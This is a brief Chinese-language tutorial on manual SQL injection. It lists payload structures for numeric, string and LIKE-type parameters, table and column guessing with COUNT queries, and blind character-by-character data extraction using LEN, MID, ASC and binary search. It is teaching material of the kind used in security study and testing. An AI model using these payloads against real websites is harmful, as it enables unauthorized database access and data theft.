成功的 SQL 注入遵循固定流程:判斷環境 → 尋找注入點 → 識別資料庫類型 → 重構 SQL 語句 → 猜解表名/欄位 → 提取資料。
注入點參數類型決定了 SQL 重構方式:
| 參數範例 | 類型 | 原始 SQL 結構 | 注入 Payload 結構 |
|---|---|---|---|
ID=49 | 數值型 | SELECT * FROM table WHERE col = 49 | ID=49 AND [條件] |
Class=連續劇 | 字串型 | SELECT * FROM table WHERE col = '連續劇' | Class=連續劇' AND [條件] AND ''=' |
KeyWord=關鍵字 | 搜尋型 (LIKE) | SELECT * FROM table WHERE col LIKE '%關鍵字%' | KeyWord=' AND [條件] AND '%'=' |
關鍵點: Payload 需閉合原始查詢並保持語法合法(如字串型需補單引號與註解符)。
利用 AND (SELECT COUNT(*) FROM 表名) > 0 判斷表是否存在:
遍歷常見表名或字典,直至猜中。同理猜解欄位名:將 COUNT(*) 換為 COUNT(欄位名)。
現實提醒: 猜解高度依賴命名規律。複雜無規律命名幾乎無法窮舉。但 SQL Server 系統表可直接洩露結構資訊(詳見高級篇)。
確認表、欄位後,逐字提取欄位值:
AND (SELECT TOP 1 LEN(欄位) FROM 表) > N 遞增測試。MID(欄位, 位置, 1) 截取單字元 → ASC() 取 ASCII 碼 → 二分法縮小範圍猜解。雖慢但通用。編寫自動化腳本可大幅提速。